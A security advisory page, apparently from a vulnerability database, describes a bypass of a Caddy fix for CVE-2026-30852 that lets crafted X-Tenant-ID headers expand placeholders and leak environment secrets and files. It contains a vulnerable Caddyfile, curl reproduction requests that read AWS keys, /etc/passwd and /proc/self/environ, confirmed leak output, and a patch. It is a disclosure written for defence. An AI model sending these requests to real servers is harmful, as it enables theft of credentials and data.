github.com/caddyserver/caddy/v2
Affected
- introduced
2.11.0, last affected2.11.2(semver)
Fixed versions
None listed
Fix
No fixed version is listed.
Advisory
Also known as: GO-2026-5730
Caddy CVE-2026-30852 Fix Bypass
TL;DR
CVE-2026-30852 fixed double expansion in vars_regexp when the variable key is a placeholder (e.g. {http.vars.x}). The fix does NOT protect literal key names (e.g. tenant_id). An attacker injects {env.AWS_SECRET_ACCESS_KEY} or {file./etc/passwd} via a request header → Caddy expands it on the second pass → secrets leaked in response headers.
Affected: Caddy v2.11.0 through v2.11.2 (latest). All versions since the CVE-2026-30852 fix.
Root Cause
modules/caddyhttp/vars.go, lines 215-217:
valExpanded = varStr
if !fromPlaceholder {
valExpanded = repl.ReplaceAll(varStr, "") // ← SECOND EXPANSION
}
Same issue at line 358-360 in MatchVarsRE.
fromPlaceholder is false when the variable key is a literal string (not wrapped in {}). The fix only protects fromPlaceholder=true.
Expansion chain:
vars tenant_id {http.request.header.X-Tenant-ID}X-Tenant-ID: {env.SECRET}VarsMiddleware.ServeHTTP, line 63): repl.ReplaceAll("{http.request.header.X-Tenant-ID}", "") → resolves to literal string {env.SECRET}. Stored in vars map.VarsMatcher.MatchWithError, line 217): repl.ReplaceAll("{env.SECRET}", "") → resolves to the actual secret value.X-Tenant-ID or forwarded to backend via reverse_proxy.Impact
{env.AWS_SECRET_ACCESS_KEY}, {env.DATABASE_URL}, etc.{file./etc/passwd}, {file./proc/self/environ}{system.hostname}, {system.os}{file./proc/self/environ}Realistic Attack Scenario
API gateway pattern - Caddy captures a tenant ID header, validates it with vars_regexp, and reflects it in response headers or forwards to a backend. This is a common production pattern for multi-tenant routing.
# Caddyfile
:8080 {
vars tenant_id {http.request.header.X-Tenant-ID}
@has_tenant vars_regexp tenant tenant_id (.+)
handle @has_tenant {
header X-Tenant-ID "{re.tenant.1}"
reverse_proxy tenant-backend:8080
}
respond "Missing X-Tenant-ID header" 400
}
# docker-compose.yml
services:
caddy:
image: caddy:2.11.2
ports:
- "8080:8080"
volumes:
- ./Caddyfile:/etc/caddy/Caddyfile:ro
environment:
- SECRET_API_KEY=sk-SUPER-SECRET-KEY-12345
- DATABASE_URL=postgresql://admin:[email protected]:5432/production
- AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
- INTERNAL_TOKEN=eyJhbGciOiJIUzI1NiJ9.INTERNAL_ONLY
Attacker sends: X-Tenant-ID: {env.AWS_SECRET_ACCESS_KEY}
Response contains: X-Tenant-ID: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
Reproduce
docker compose up -d
sleep 2
# Normal request — works as expected
curl -sI -H "X-Tenant-ID: acme-corp" http://localhost:8080/ | grep X-Tenant
# X-Tenant-Id: acme-corp
# Leak env var via response header
curl -sI -H "X-Tenant-ID: {env.SECRET_API_KEY}" http://localhost:8080/ | grep X-Tenant
# X-Tenant-Id: sk-SUPER-SECRET-KEY-12345
# Leak AWS credentials
curl -sI -H "X-Tenant-ID: {env.AWS_SECRET_ACCESS_KEY}" http://localhost:8080/ | grep X-Tenant
# X-Tenant-Id: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
# Read arbitrary file
curl -sI -H "X-Tenant-ID: {file./etc/passwd}" http://localhost:8080/ | grep X-Tenant
# Dump ALL env vars (Linux)
curl -s -H "X-Tenant-ID: {file./proc/self/environ}" http://localhost:8080/
Confirmed Test Output (Caddy v2.11.2)
$ curl -sI -H "X-Tenant-ID: acme-corp" http://localhost:8080/ | grep -i x-tenant
X-Tenant-Id: acme-corp
X-Routed-To: tenant-acme-corp
$ curl -sI -H "X-Tenant-ID: {env.SECRET_API_KEY}" http://localhost:8080/ | grep -i x-tenant
X-Tenant-Id: sk-SUPER-SECRET-KEY-12345
X-Routed-To: tenant-sk-SUPER-SECRET-KEY-12345
$ curl -sI -H "X-Tenant-ID: {env.AWS_SECRET_ACCESS_KEY}" http://localhost:8080/ | grep -i x-tenant
X-Tenant-Id: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
X-Routed-To: tenant-wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
$ curl -sI -H "X-Tenant-ID: {file./etc/hostname}" http://localhost:8080/ | grep -i x-tenant
X-Tenant-Id: 06140d4a8645
Fix
Apply expansion guard to BOTH branches:
// vars.go line 215-217 — fix:
valExpanded = varStr
// REMOVE: if !fromPlaceholder {
// valExpanded = repl.ReplaceAll(varStr, "")
// }
Or sanitize vars stored from user input before re-expansion.
Medium Basis: The source's own band: MODERATE
2.11.0, last affected 2.11.2 (semver)None listed
No fixed version is listed.
Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0